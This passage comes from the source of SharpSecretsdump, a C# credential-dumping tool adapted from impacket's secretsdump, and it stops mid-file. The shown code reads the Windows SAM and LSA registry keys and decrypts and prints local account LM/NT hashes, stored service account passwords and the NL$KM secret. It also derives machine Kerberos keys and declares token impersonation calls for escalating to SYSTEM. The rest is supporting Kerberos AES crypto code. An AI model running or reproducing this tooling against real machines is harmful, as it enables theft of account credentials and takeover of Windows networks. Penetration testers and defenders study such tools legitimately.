Console.WriteLine($"{username}:{password}"); 321 | } 322 | } 323 | else 324 | { 325 | Console.WriteLine("[!] Secret type not supported yet - outputing raw secret as hex"); 326 | Console.WriteLine($"{secret}: {Hexlify(secretBlob.secret)}"); 327 | } 328 | } 329 | } 330 | else 331 | { 332 | LsaSecretBlob secretBlob = new LsaSecretBlob(nlkmKey); 333 | Console.WriteLine("[*] NL$KM"); 334 | if (secretBlob.length > 0) 335 | { 336 | Console.WriteLine("NL$KM:" + Hexlify(secretBlob.secret)); 337 | } 338 | } 339 | } 340 | } 341 | } 342 | catch (Exception exp) 343 | { 344 | Console.WriteLine(exp.ToString()); 345 | } 346 | Interop.RegCloseKey(hKey); 347 | } 348 | catch (Exception e) 349 | { 350 | Console.WriteLine(e.ToString()); 351 | } 352 | } 353 | 354 | // Copied from secretsdump.py from impacket 355 | public static void PrintMachineKerberos(byte[] secret, String domainName, String computerName) 356 | { 357 | byte[] salt = Encoding.UTF8.GetBytes($"{domainName.ToUpper()}host{computerName.ToLower()}.{domainName.ToLower()}"); 358 | 359 | Encoding UTF16 = Encoding.GetEncoding(UnicodeEncoding.Unicode.CodePage, new EncoderReplacementFallback(), new DecoderReplacementFallback("�")); 360 | Encoding UTF8 = Encoding.GetEncoding(UnicodeEncoding.UTF8.CodePage, new EncoderReplacementFallback("?"), new DecoderReplacementFallback()); 361 | 362 | byte[] rawSecret = UTF8.GetBytes(UTF16.GetString(secret)); 363 | 364 | var kerberosEncryptions = new EncryptionType[] 365 | { 366 | EncryptionType.AES256_CTS_HMAC_SHA1_96, 367 | EncryptionType.AES128_CTS_HMAC_SHA1_96, 368 | EncryptionType.DES_CBC_MD5 369 | }; 370 | 371 | foreach(EncryptionType type in kerberosEncryptions) 372 | { 373 | byte[] key = KeyGenerator.MakeKey(type, UTF8.GetString(rawSecret), UTF8.GetString(salt)); 374 | Console.WriteLine($"{domainName}\\{computerName}$:{type.ToString().ToLower().Replace("_", "-")}:{Hexlify(key)}"); 375 | } 376 | } 377 | 378 | public static void GetSamAccounts(byte[] bootkey) 379 | { 380 | Console.WriteLine("[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)"); 381 | byte[] fVal = GetRegKeyValue("SAM\\Sam\\Domains\\Account", "F"); 382 | byte[] hashedBootKey = GetHashedBootKey(bootkey, fVal); 383 | byte[] antpassword = Encoding.ASCII.GetBytes("NTPASSWORD\0"); 384 | byte[] almpassword = Encoding.ASCII.GetBytes("LMPASSWORD\0"); 385 | 386 | IntPtr hKey = IntPtr.Zero; 387 | IntPtr dummy = IntPtr.Zero; 388 | String keyPath = "SAM\\Sam\\Domains\\Account\\Users"; 389 | StringBuilder classVal = new StringBuilder(1024); 390 | int len = 1024; 391 | int result = Interop.RegOpenKeyEx(0x80000002, keyPath, 0, 0x19, ref hKey); 392 | if (result != 0) 393 | { 394 | string errorMessage = new Win32Exception((int)result).Message; 395 | Console.WriteLine("Error enumerating {0} ({1}) : {2}", keyPath, result, errorMessage); 396 | return; 397 | } 398 | IntPtr number = IntPtr.Zero; 399 | result = Interop.RegQueryInfoKey(hKey, classVal, ref len, 0, ref number, ref dummy, ref dummy, ref dummy, ref dummy, ref dummy, ref dummy, IntPtr.Zero); 400 | if (result != 0) 401 | { 402 | string errorMessage = new Win32Exception((int)result).Message; 403 | Console.WriteLine("Error enumerating {0} ({1}) : {2}", keyPath, result, errorMessage); 404 | return; 405 | } 406 | 407 | for (int i = 0; i < number.ToInt32(); i++) 408 | { 409 | len = 255; 410 | result = Interop.RegEnumKeyEx(hKey, i, classVal, ref len, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, ref dummy); 411 | if (result != 0) 412 | { 413 | string errorMessage = new Win32Exception((int)result).Message; 414 | Console.WriteLine("Error enumerating {0} ({1}) : {2}", keyPath, result, errorMessage); 415 | return; 416 | } 417 | 418 | if (classVal.ToString().StartsWith("0")) 419 | { 420 | byte[] rid = BitConverter.GetBytes(System.Int32.Parse(classVal.ToString(), System.Globalization.NumberStyles.HexNumber)); 421 | byte[] v = GetRegKeyValue($"{keyPath}\\{classVal}", "V"); 422 | if (v == null || v.Length <= 0) 423 | continue; 424 | int offset = BitConverter.ToInt32(v, 12) + 204; 425 | int length = BitConverter.ToInt32(v, 16); 426 | string username = Encoding.Unicode.GetString(v.Skip(offset).Take(length).ToArray()); 427 | 428 | //there are 204 bytes of headers / flags prior to data in the encrypted key data structure 429 | int lmHashOffset = BitConverter.ToInt32(v, 156) + 204; 430 | int lmHashLength = BitConverter.ToInt32(v, 160); 431 | int ntHashOffset = BitConverter.ToInt32(v, 168) + 204; 432 | int ntHashLength = BitConverter.ToInt32(v, 172); 433 | string lmHash = "aad3b435b51404eeaad3b435b51404ee"; 434 | string ntHash = "31d6cfe0d16ae931b73c59d7e0c089c0"; 435 | if (ntHashLength <= 0) 436 | continue; 437 | 438 | // old style hashes 439 | if (v[ntHashOffset + 2].Equals(0x01)) 440 | { 441 | IEnumerable lmKeyParts = hashedBootKey.Take(16).ToArray().Concat(rid).Concat(almpassword); 442 | byte[] lmHashDecryptionKey = MD5.Create().ComputeHash(lmKeyParts.ToArray()); 443 | IEnumerable ntKeyParts = hashedBootKey.Take(16).ToArray().Concat(rid).Concat(antpassword); 444 | byte[] ntHashDecryptionKey = MD5.Create().ComputeHash(ntKeyParts.ToArray()); 445 | byte[] encryptedLmHash = null; 446 | byte[] encryptedNtHash = null; 447 | 448 | if (ntHashLength == 20) 449 | { 450 | encryptedNtHash = v.Skip(ntHashOffset + 4).Take(16).ToArray(); 451 | byte[] obfuscatedNtHashTESTING = Crypto.RC4Encrypt(ntHashDecryptionKey, encryptedNtHash); 452 | ntHash = Crypto.DecryptSingleHash(obfuscatedNtHashTESTING, classVal.ToString()).Replace("-", ""); 453 | } 454 | if (lmHashLength == 20) 455 | { 456 | encryptedLmHash = v.Skip(lmHashOffset + 4).Take(16).ToArray(); 457 | byte[] obfuscatedLmHashTESTING = Crypto.RC4Encrypt(lmHashDecryptionKey, encryptedLmHash); 458 | lmHash = Crypto.DecryptSingleHash(obfuscatedLmHashTESTING, classVal.ToString()).Replace("-", ""); 459 | } 460 | } 461 | //new-style hashes 462 | else 463 | { 464 | byte[] enc_LM_Hash = v.Skip(lmHashOffset).Take(lmHashLength).ToArray(); 465 | byte[] lmData = enc_LM_Hash.Skip(24).ToArray(); 466 | //if a hash exists, otherwise we have to return the default string val 467 | if (lmData.Length > 0) 468 | { 469 | byte[] lmHashSalt = enc_LM_Hash.Skip(8).Take(16).ToArray(); 470 | byte[] desEncryptedHash = Crypto.DecryptAES_CBC(lmData, hashedBootKey.Take(16).ToArray(), lmHashSalt).Take(16).ToArray(); 471 | lmHash = Crypto.DecryptSingleHash(desEncryptedHash, classVal.ToString()).Replace("-", ""); 472 | } 473 | 474 | byte[] enc_NT_Hash = v.Skip(ntHashOffset).Take(ntHashLength).ToArray(); 475 | byte[] ntData = enc_NT_Hash.Skip(24).ToArray(); 476 | //if a hash exists, otherwise we have to return the default string val 477 | if (ntData.Length > 0) 478 | { 479 | byte[] ntHashSalt = enc_NT_Hash.Skip(8).Take(16).ToArray(); 480 | byte[] desEncryptedHash = Crypto.DecryptAES_CBC(ntData, hashedBootKey.Take(16).ToArray(), ntHashSalt).Take(16).ToArray(); 481 | ntHash = Crypto.DecryptSingleHash(desEncryptedHash, classVal.ToString()).Replace("-", ""); 482 | } 483 | } 484 | string ridStr = int.Parse(classVal.ToString(), System.Globalization.NumberStyles.HexNumber).ToString(); 485 | string hashes = (lmHash + ":" + ntHash); 486 | Console.WriteLine(string.Format("{0}:{1}:{2}", username, ridStr, hashes.ToLower())); 487 | } 488 | } 489 | Interop.RegCloseKey(hKey); 490 | } 491 | 492 | private static bool IsZeroes(byte[] inputArray) 493 | { 494 | foreach (byte b in inputArray) 495 | { 496 | if (b != 0x00) 497 | { 498 | return false; 499 | } 500 | } 501 | return true; 502 | } 503 | 504 | private static int Pad(int data) 505 | { 506 | if ((data & 0x3) > 0) 507 | { 508 | return (data + (data & 0x3)); 509 | } 510 | else 511 | { 512 | return data; 513 | } 514 | } 515 | 516 | public static byte[] GetRegKeyValue(string keyPath, string valueName = null, bool silent = false) 517 | { 518 | IntPtr hKey = IntPtr.Zero; 519 | 520 | // takes a given HKLM key path and returns the registry value 521 | 522 | // open the specified key with read (0x19) privileges 523 | // 0x80000002 == HKLM 524 | int result = Interop.RegOpenKeyEx(0x80000002, keyPath, 0, 0x19, ref hKey); 525 | if (result != 0) 526 | { 527 | string errorMessage = new Win32Exception((int)result).Message; 528 | if (!silent) 529 | { 530 | Console.WriteLine("Error opening {0} ({1}) : {2}", keyPath, result, errorMessage); 531 | } 532 | return null; 533 | } 534 | 535 | int cbData = 0; 536 | result = Interop.RegQueryValueEx(hKey, valueName, 0, IntPtr.Zero, IntPtr.Zero, ref cbData); 537 | if (result != 0) 538 | { 539 | string errorMessage = new Win32Exception((int)result).Message; 540 | if (!silent) 541 | { 542 | Console.WriteLine("Error enumerating {0} ({1}) : {2}", keyPath, result, errorMessage); 543 | } 544 | return null; 545 | } 546 | 547 | IntPtr dataPtr = Marshal.AllocHGlobal(cbData); 548 | result = Interop.RegQueryValueEx(hKey, valueName, 0, IntPtr.Zero, dataPtr, ref cbData); 549 | if (result != 0) 550 | { 551 | string errorMessage = new Win32Exception((int)result).Message; 552 | if (!silent) 553 | { 554 | Console.WriteLine("Error enumerating {0} ({1}) : {2}", keyPath, result, errorMessage); 555 | } 556 | return null; 557 | } 558 | byte[] data = new byte[cbData]; 559 | 560 | Marshal.Copy(dataPtr, data, 0, cbData); 561 | Interop.RegCloseKey(hKey); 562 | 563 | return data; 564 | } 565 | 566 | public static byte[] StringToByteArray(string hex) 567 | { 568 | // helper to convert a string hex representation to a byte array 569 | // yes, I know this inefficient :) 570 | return Enumerable.Range(0, hex.Length) 571 | .Where(x => x % 2 == 0) 572 | .Select(x => Convert.ToByte(hex.Substring(x, 2), 16)) 573 | .ToArray(); 574 | } 575 | 576 | public static bool IsHighIntegrity() 577 | { 578 | // returns true if the current process is running with adminstrative privs in a high integrity context 579 | 580 | WindowsIdentity identity = WindowsIdentity.GetCurrent(); 581 | WindowsPrincipal principal = new WindowsPrincipal(identity); 582 | return principal.IsInRole(WindowsBuiltInRole.Administrator); 583 | } 584 | 585 | public static String Hexlify(byte[] array) => BitConverter.ToString(array).Replace("-", "").ToLower(); 586 | } 587 | } 588 | -------------------------------------------------------------------------------- /SharpSecretsdump/lib/Interop.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.InteropServices; 3 | using System.Text; 4 | 5 | namespace SharpSecretsdump 6 | { 7 | public class Interop 8 | { 9 | // for GetSystem() 10 | [DllImport("advapi32.dll", SetLastError = true)] 11 | [return: MarshalAs(UnmanagedType.Bool)] 12 | public static extern bool OpenProcessToken( 13 | IntPtr ProcessHandle, 14 | UInt32 DesiredAccess, 15 | out IntPtr TokenHandle); 16 | 17 | [DllImport("advapi32.dll", SetLastError = true)] 18 | public static extern bool DuplicateToken( 19 | IntPtr ExistingTokenHandle, 20 | int SECURITY_IMPERSONATION_LEVEL, 21 | ref IntPtr DuplicateTokenHandle); 22 | 23 | [DllImport("advapi32.dll", SetLastError = true)] 24 | public static extern bool ImpersonateLoggedOnUser( 25 | IntPtr hToken); 26 | 27 | [DllImport("kernel32.dll", SetLastError = true)] 28 | [return: MarshalAs(UnmanagedType.Bool)] 29 | public static extern bool CloseHandle( 30 | IntPtr hObject 31 | ); 32 | 33 | [DllImport("advapi32.dll", SetLastError = true)] 34 | public static extern bool RevertToSelf(); 35 | 36 | // for LSA Secrets Dump 37 | [DllImport("advapi32.dll", CharSet = CharSet.Auto)] 38 | public static extern int RegOpenKeyEx( 39 | uint hKey, 40 | string subKey, 41 | int ulOptions, 42 | int samDesired, 43 | ref IntPtr hkResult 44 | ); 45 | 46 | [DllImport("advapi32.dll")] 47 | public static extern int RegQueryInfoKey( 48 | IntPtr hkey, 49 | StringBuilder lpClass, 50 | ref int lpcbClass, 51 | int lpReserved, 52 | ref IntPtr lpcSubKeys, 53 | ref IntPtr lpcbMaxSubKeyLen, 54 | ref IntPtr lpcbMaxClassLen, 55 | ref IntPtr lpcValues, 56 | ref IntPtr lpcbMaxValueNameLen, 57 | ref IntPtr lpcbMaxValueLen, 58 | ref IntPtr lpcbSecurityDescriptor, 59 | IntPtr lpftLastWriteTime 60 | ); 61 | 62 | [DllImport("advapi32.dll", SetLastError = true)] 63 | public static extern int RegEnumKeyEx( 64 | IntPtr hKey, 65 | int dwIndex, 66 | StringBuilder lpName, 67 | ref int lpcchName, 68 | IntPtr lpReserved, 69 | IntPtr lpClass, 70 | IntPtr lpcchClass, 71 | ref IntPtr lpftLastWriteTime 72 | ); 73 | 74 | [DllImport("advapi32.dll", SetLastError = true)] 75 | public static extern int RegEnumValue( 76 | IntPtr hKey, 77 | int dwIndex, 78 | StringBuilder lpValueName, 79 | ref int lpcchValueName, 80 | int lpReserved, 81 | IntPtr lpType, 82 | IntPtr lpDate, 83 | IntPtr lpcbData 84 | ); 85 | 86 | [DllImport("advapi32.dll", SetLastError = true)] 87 | public static extern int RegQueryValueEx( 88 | IntPtr hKey, 89 | string lpValueName, 90 | int lpReserved, 91 | IntPtr type, 92 | IntPtr lpData, 93 | ref int lpcbData 94 | ); 95 | 96 | [DllImport("advapi32.dll", SetLastError = true)] 97 | public static extern int RegCloseKey( 98 | IntPtr hKey 99 | ); 100 | } 101 | } 102 | -------------------------------------------------------------------------------- /SharpSecretsdump/lib/Kerberos/AesKey.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Text; 3 | using System.Collections.Generic; 4 | using System.Security.Cryptography; 5 | 6 | namespace SharpSecretsdump.lib.Kerberos 7 | { 8 | /// 9 | /// An enum to indicate the AES key size in bits. 10 | /// 11 | public enum AesKeyType : int 12 | { 13 | /// 14 | /// AES key type not specified 15 | /// 16 | None = 0, 17 | 18 | /// 19 | /// 128 bits AES key 20 | /// 21 | Aes128BitsKey = 128, 22 | 23 | /// 24 | /// 192 bits AES key 25 | /// 26 | Aes192BitsKey = 192, 27 | 28 | /// 29 | /// 256 bits AES key 30 | /// 31 | Aes256BitsKey = 256 32 | } 33 | 34 | 35 | /// 36 | /// Derived Key Types (RFC3961) 37 | /// 38 | public enum DerivedKeyType : int 39 | { 40 | /// 41 | /// An added value used as the default value. 42 | /// 43 | None = 0, 44 | 45 | /// 46 | /// Used to derive key to generate mic in Checksum mechanism. 47 | /// 48 | Kc = 0x99, 49 | 50 | /// 51 | /// Used to derive key to encrypt data. 52 | /// 53 | Ke = 0xAA, 54 | 55 | /// 56 | /// Used to derive key to calculate checksum in Encryption mechanism. 57 | /// 58 | Ki = 0x55 59 | } 60 | 61 | 62 | /// 63 | /// AES Key Generator 64 | /// 65 | public static class AesKey 66 | { 67 | #region Constants 68 | /// 69 | /// Default Interation Count 70 | /// [RFC3962 Section 4, Page 2] 71 | /// 72 | internal const uint DEFAULT_ITERATION_COUNT = 4096; 73 | 74 | 75 | /// 76 | /// ASCII encoding for the string "Kerberos" 77 | /// 78 | private readonly static byte[] KERBEROS_CONSTANT = new byte[] { 0x6b, 0x65, 0x72, 0x62, 0x65, 0x72, 0x6f, 0x73 }; 79 | #endregion Constants 80 | 81 | 82 | #region Private Methods 83 | /// 84 | /// DK is the key-derivation function described in RFC 3961 85 | /// [RFC 3961 section 5.1 A Key Derivation Function] 86 | /// 87 | /// the base key 88 | /// the "well-known constant" 89 | /// AES key type which decides key size 90 | /// the derived key in bytes 91 | public static byte[] DK( 92 | byte[] baseKey, 93 | byte[] wellKnownConstant, 94 | AesKeyType aesKeyType) 95 | { 96 | // caculate DR value 97 | byte[] drBytes = DR(baseKey, wellKnownConstant, aesKeyType); 98 | 99 | // caculate Random 100 | return RandomToKey(drBytes); 101 | } 102 | 103 | 104 | /// 105 | /// DR is the random-octet generation function described in RFC 3961 106 | /// [RFC 3961 section 5.1 A Key Derivation Function] 107 | /// 108 | /// the base key which is to be derived from 109 | /// the "well-known constant" 110 | /// AES key type which decides key size 111 | /// the pseudorandom octets 112 | private static byte[] DR( 113 | byte[] baseKey, 114 | byte[] wellKnownConstant, 115 | AesKeyType aesKeyType) 116 | { 117 | // to be encrypted data 118 | byte[] toBeEncrypted = new byte[wellKnownConstant.Length]; 119 | wellKnownConstant.CopyTo(toBeEncrypted, 0); 120 | 121 | // n-fold the "well-known constant" if needed 122 | if (wellKnownConstant.Length != ConstValue.AES_BLOCK_SIZE) 123 | { 124 | toBeEncrypted = NFold(wellKnownConstant, ConstValue.AES_BLOCK_SIZE * ConstValue.BYTE_SIZE); 125 | } 126 | 127 | // AES key size 128 | uint aesKeySize = (uint)aesKeyType / ConstValue.BYTE_SIZE; 129 | 130 | // initialize key array 131 | byte[] rawkey = new byte[aesKeySize]; 132 | 133 | // count means the total number of bytes has been copy to the rawkey. 134 | // length means how length of bytes should be copy to the rawkey array. 135 | uint count = 0; 136 | uint length = 0; 137 | 138 | // The initialCipherVector should be all zeros. 139 | byte[] initialCipherVector = new byte[ConstValue.AES_BLOCK_SIZE]; 140 | 141 | // AES-CTS encryptor 142 | CipherTextStealingMode aesCtsCrypto = CryptoUtility.CreateAesCtsCrypto(baseKey, initialCipherVector); 143 | while (count < aesKeySize) 144 | { 145 | byte[] cipherBlock = aesCtsCrypto.EncryptFinal(toBeEncrypted, 0, toBeEncrypted.Length); 146 | length = (aesKeySize - count <= cipherBlock.Length ? (aesKeySize - count) : Convert.ToUInt32(cipherBlock.Length)); 147 | Array.Copy(cipherBlock, 0, rawkey, count, length); 148 | count += length; 149 | toBeEncrypted = cipherBlock; 150 | } 151 | return rawkey; 152 | } 153 | 154 | 155 | /// 156 | /// RandomToKey generates a key from a random bitstring of a specific size. 157 | /// All the bits of the input string are assumed to be equally random, 158 | /// even though the entropy present in the random source may be limited. 159 | /// [RFC 3961, Page 4] 160 | /// 161 | /// For AES, random-to-key function simply returns as what is given 162 | /// [RFC 3961, Page 15] 163 | /// 164 | /// the random bitstring 165 | /// the generated key 166 | public static byte[] RandomToKey(byte[] random) 167 | { 168 | return random; 169 | } 170 | 171 | 172 | /// 173 | /// Generate the "well-known constant" 174 | /// [RFC 3961, Page 15] 175 | /// the "well-known constant" used for the DK function is the key usage number, 176 | /// expressed as four octets in big-endian order, followed by one octet indicated below: 177 | /// Kc = DK(base-key, usage | 0x99); 178 | /// Ke = DK(base-key, usage | 0xAA); 179 | /// Ki = DK(base-key, usage | 0x55); 180 | /// 181 | /// key usage number 182 | /// the derived key type 183 | /// the "well-known constant" 184 | private static byte[] GetWellKnownConstant(int usage, DerivedKeyType derivedKeyType) 185 | { 186 | // the "well-known constant" contains 5 bytes 187 | byte[] wellKnownConstant = new byte[5]; 188 | 189 | // the first 4 bytes = usage number in big endian 190 | byte[] usageBytes = BitConverter.GetBytes(usage); 191 | Array.Reverse(usageBytes); 192 | usageBytes.CopyTo(wellKnownConstant, 0); 193 | 194 | // the 5th byte = the derivedKeyType 195 | wellKnownConstant[4] = (byte)derivedKeyType; 196 | return wellKnownConstant; 197 | } 198 | 199 | 200 | /// 201 | /// N-Fold is an algorithm that takes m input bits and "stretches" them 202 | /// to form N output bits with equal contribution from each input bit to 203 | /// the output, as described in Blumenthal, U. and S. Bellovin, "A Better 204 | /// Key Schedule for DES-Like Ciphers", Proceedings of PRAGOCRYPT '96,1996. 205 | /// 206 | /// The to be n-folded input data 207 | /// The expected output length in bits 208 | /// The n-folded data 209 | private static byte[] NFold(byte[] input, uint outputBits) 210 | { 211 | // check inputs 212 | if (null == input) 213 | { 214 | throw new ArgumentNullException("input"); 215 | } 216 | if (0 != outputBits % ConstValue.BYTE_SIZE) 217 | { 218 | throw new ArgumentException( 219 | "The desired output length in bits should be a multiply of 8 bits."); 220 | } 221 | 222 | // input and output length in bytes 223 | int inLength = input.Length; 224 | int outLength = (int)outputBits / ConstValue.BYTE_SIZE; 225 | 226 | // caculate their lowest common multiplier 227 | int lcm = CalculateLowestCommonMultiple(outLength, inLength); 228 | 229 | // "stretch" the data length to the LCM value 230 | byte[] stretchedData = new byte[lcm]; 231 | int count = lcm / inLength; 232 | for (int i = 0; i < count; i++) 233 | { 234 | // expand 235 | Array.Copy(input, 0, stretchedData, i * inLength, inLength); 236 | 237 | // rotate 13 bits right 238 | input = Rotate13(input); 239 | } 240 | 241 | // divide the stretched data to (LCM/outLength) blocks 242 | // then calculate their "one's complement addition" 243 | byte[] output = new byte[outLength]; 244 | byte[] blockData = new byte[outLength]; 245 | int blockCount = lcm / outLength; 246 | for (int i = 0; i < blockCount; i++) 247 | { 248 | // get a block 249 | Array.Copy(stretchedData, i * outLength, blockData, 0, blockData.Length); 250 | 251 | // addition 252 | output = OCADD(output, blockData); 253 | } 254 | return output; 255 | } 256 | 257 | 258 | /// 259 | /// The LCM function called by N-Fold Algorithm 260 | /// (calculate the Lowest Common Multiple of two integer) 261 | /// 262 | /// value n 263 | /// value k 264 | /// the caculated LCM value 265 | private static int CalculateLowestCommonMultiple(int n, int k) 266 | { 267 | int a = n; 268 | int b = k; 269 | int c; 270 | 271 | while (b != 0) 272 | { 273 | c = b; 274 | b = a % b; 275 | a = c; 276 | } 277 | return (n * k / a); 278 | } 279 | 280 | 281 | /// 282 | /// The ROT13 function called by N-Fold Algorithm 283 | /// (which rotates a string to 13 bits right) 284 | /// 285 | /// input string 286 | private static byte[] Rotate13(byte[] input) 287 | { 288 | if (null == input) 289 | { 290 | throw new ArgumentNullException("input"); 291 | } 292 | 293 | // get all the bits 294 | List listBits = new List(); 295 | foreach (byte b in input) 296 | { 297 | listBits.AddRange(CryptoUtility.GetBits(b)); 298 | } 299 | 300 | // rotate all the bits to 13-bit right 301 | List listBitsRotated = new List(listBits); 302 | for (int i = 0; i < listBits.Count; i++) 303 | { 304 | if (i + 13 < listBitsRotated.Count) 305 | { 306 | listBitsRotated[i + 13] = listBits[i]; 307 | } 308 | else 309 | { 310 | int index = (i + 13) % listBitsRotated.Count; 311 | listBitsRotated[index] = listBits[i]; 312 | } 313 | } 314 | 315 | // covert the rotated data to bytes 316 | return CryptoUtility.ConvertBitsToBytes(listBitsRotated); 317 | } 318 | 319 | 320 | /// 321 | /// The OCADD function called by N-Fold Algorithm 322 | /// (calculate "one's complement addition" between two byte array) 323 | /// 324 | /// one byte array in addition operation 325 | /// the other byte array in addition operation 326 | /// The operation result 327 | private static byte[] OCADD(byte[] leftBuffer, byte[] rightBuffer) 328 | { 329 | // check inputs 330 | if (null == leftBuffer) 331 | { 332 | throw new ArgumentNullException("leftBuffer"); 333 | } 334 | if (null == rightBuffer) 335 | { 336 | throw new ArgumentNullException("rightBuffer"); 337 | } 338 | if (leftBuffer.Length != rightBuffer.Length) 339 | { 340 | throw new ArgumentException("The input buffer lengths should be equal"); 341 | } 342 | 343 | // initialize sum buffer 344 | byte[] sumBuffer = new byte[leftBuffer.Length]; 345 | byte[] zeroBuffer = new byte[leftBuffer.Length]; 346 | 347 | // the carry value 348 | int carry = 0; 349 | for (int i = leftBuffer.Length - 1; i >= 0; i--) 350 | { 351 | // caculate sum 352 | int sum = leftBuffer[i] + rightBuffer[i] + carry; 353 | sumBuffer[i] = (byte)(sum & 0xff); 354 | 355 | // reset carry 356 | if (sum > 0xff) 357 | { 358 | carry = 1; 359 | } 360 | else 361 | { 362 | carry = 0; 363 | } 364 | } 365 | 366 | // if there is a left over carry bit, add it back in 367 | if (1 == carry) 368 | { 369 | bool done = false; 370 | for (int j = leftBuffer.Length - 1; j >= 0; j--) 371 | { 372 | if (sumBuffer[j] != 0xff) 373 | { 374 | sumBuffer[j]++; 375 | done = true; 376 | break; 377 | } 378 | } 379 | 380 | if (!done) 381 | { 382 | Array.Copy(zeroBuffer, sumBuffer, zeroBuffer.Length); 383 | } 384 | } 385 | return sumBuffer; 386 | } 387 | #endregion Private Methods 388 | 389 | 390 | #region Internal Methods 391 | 392 | /// 393 | /// Generate an encryption key from password and salt 394 | /// [RFC 3962 Section 4 Key Generation from Pass Phrases or Random Data] 395 | /// (The pseudorandom function used by PBKDF2 will be a SHA-1 HMAC of 396 | /// the passphrase and salt, as described in Appendix B.1 to PKCS#5) 397 | /// 398 | /// password 399 | /// salt 400 | /// interation count 401 | /// AES key type which decides key size 402 | /// the encrypted key in bytes 403 | internal static byte[] MakeStringToKey( 404 | string password, 405 | string salt, 406 | uint iterationCount, 407 | AesKeyType keyType) 408 | { 409 | if (null == password) 410 | { 411 | throw new ArgumentNullException("password"); 412 | } 413 | if (null == salt) 414 | { 415 | throw new ArgumentNullException("salt"); 416 | } 417 | 418 | byte[] passwordBytes = Encoding.UTF8.GetBytes(password); 419 | byte[] saltBytes = Encoding.UTF8.GetBytes(salt); 420 | int keySize = (int)keyType / ConstValue.BYTE_SIZE; 421 | 422 | // generate the intermediate key 423 | Rfc2898DeriveBytes PBKDF2 = new Rfc2898DeriveBytes(passwordBytes, saltBytes, (int)iterationCount); 424 | byte[] intermediateKey = PBKDF2.GetBytes(keySize); 425 | intermediateKey = RandomToKey(intermediateKey); 426 | 427 | // generate the final key 428 | return DK(intermediateKey, KERBEROS_CONSTANT, keyType); 429 | } 430 | #endregion Internal Methods 431 | } 432 | } 433 | -------------------------------------------------------------------------------- /SharpSecretsdump/lib/Kerberos/ArrayUtility.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Text; 4 | using System.Collections; 5 | 6 | namespace SharpSecretsdump.lib.Kerberos 7 | { 8 | public static class ArrayUtility 9 | { 10 | /// 11 | /// Gets a sub array from an array. 12 | /// 13 | /// The type of array. 14 | /// The original array. 15 | /// The start index to copy. 16 | /// The length of sub array. 17 | /// Raised when startIndex or startIndex plus the length of 18 | /// sub array exceeds the range of original array. 19 | /// The sub array. 20 | public static T[] SubArray(T[] array, int startIndex, int length) 21 | { 22 | T[] subArray = new T[length]; 23 | Array.Copy(array, startIndex, subArray, 0, length); 24 | 25 | return subArray; 26 | } 27 | 28 | /// 29 | /// Gets a sub array from an array. With given start index, it will return the rest of the array. 30 | /// 31 | /// The type of array. 32 | /// The original array. 33 | /// The start index to copy. 34 | /// Raised when startIndex or startIndex plus the length of 35 | /// sub array exceeds the range of original array. 36 | /// The sub array. 37 | public static T[] SubArray(T[] array, int startIndex) 38 | { 39 | return SubArray(array, startIndex, array.Length - startIndex); 40 | } 41 | } 42 | } 43 | -------------------------------------------------------------------------------- /SharpSecretsdump/lib/Kerberos/CipherTextStealingMode.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Security.Cryptography; 4 | 5 | namespace SharpSecretsdump.lib.Kerberos 6 | { 7 | public class CipherTextStealingMode 8 | { 9 | #region Private Variables 10 | /// 11 | /// When each block-size plain text is encrypted, 12 | /// the cipher should be temporarily stored as cipher state 13 | /// for XOR operation with the next block-size plain text 14 | /// 15 | private byte[] cipherState; 16 | 17 | /// 18 | /// The Initialize Vector 19 | /// 20 | private byte[] iv; 21 | 22 | /// 23 | /// The encryption Block Size of the specific symmetric algorithm (in bytes) 24 | /// 25 | private int blockSize; 26 | 27 | /// 28 | /// The encryptor 29 | /// 30 | private ICryptoTransform encryptor; 31 | 32 | /// 33 | /// The decryptor 34 | /// 35 | private ICryptoTransform decryptor; 36 | #endregion Private Variables 37 | 38 | 39 | #region Constructor 40 | /// 41 | /// Initialize CipherTextStealingMode with a specific symmetric algorithm 42 | /// 43 | /// The symmetric algorithm 44 | public CipherTextStealingMode(SymmetricAlgorithm symmetricAlgorithm) 45 | { 46 | // in CTS Mode there is no padding 47 | symmetricAlgorithm.Padding = PaddingMode.None; 48 | 49 | // set the symmetric algorithm's mode to ECB 50 | // (for single block encryption and decryption) 51 | symmetricAlgorithm.Mode = CipherMode.ECB; 52 | 53 | // get the symmetric algorithm's block size in bytes 54 | blockSize = symmetricAlgorithm.BlockSize / 8; 55 | if (blockSize != symmetricAlgorithm.IV.Length) 56 | { 57 | throw new ArgumentException( 58 | "The IV size should equal to the block size."); 59 | } 60 | 61 | // initialize local IV 62 | iv = symmetricAlgorithm.IV; 63 | 64 | // initialize cipher state using the symmetric algorithms's IV 65 | cipherState = new byte[blockSize]; 66 | symmetricAlgorithm.IV.CopyTo(cipherState, 0); 67 | 68 | // create encryptor and decryptor 69 | encryptor = symmetricAlgorithm.CreateEncryptor(); 70 | decryptor = symmetricAlgorithm.CreateDecryptor(); 71 | } 72 | #endregion Constructor 73 | 74 | 75 | #region Private Methods: Encryption 76 | /// 77 | /// Encrypt in CBC Mode 78 | /// 79 | /// input buffer 80 | /// the offset of which the to be encrypted data begins 81 | /// the length of to be encrypted data 82 | /// the encrypted data 83 | private byte[] EncryptWithCBCMode( 84 | byte[] inputBuffer, 85 | int inputOffset, 86 | int inputCount) 87 | { 88 | // encryption 89 | List result = new List(); 90 | int endIndex = inputOffset + inputCount; 91 | while (inputOffset < endIndex) 92 | { 93 | // xor a block, encrypt it, and update cipher state 94 | byte[] blockBuffer = XorCipherState(inputBuffer, inputOffset, cipherState, blockSize); 95 | blockBuffer = encryptor.TransformFinalBlock(blockBuffer, 0, blockBuffer.Length); 96 | blockBuffer.CopyTo(cipherState, 0); 97 | inputOffset += blockSize; 98 | 99 | // save the block to result 100 | result.AddRange(blockBuffer); 101 | } 102 | return result.ToArray(); 103 | } 104 | 105 | 106 | /// 107 | /// Encrypt in CTS Mode 108 | /// 109 | /// input buffer 110 | /// the offset of which the to be encrypted data begins 111 | /// the length of to be encrypted data 112 | /// the encrypted data 113 | private byte[] EncryptWithCTSMode( 114 | byte[] inputBuffer, 115 | int inputOffset, 116 | int inputCount) 117 | { 118 | // caculate if the to-be-encrypted data is 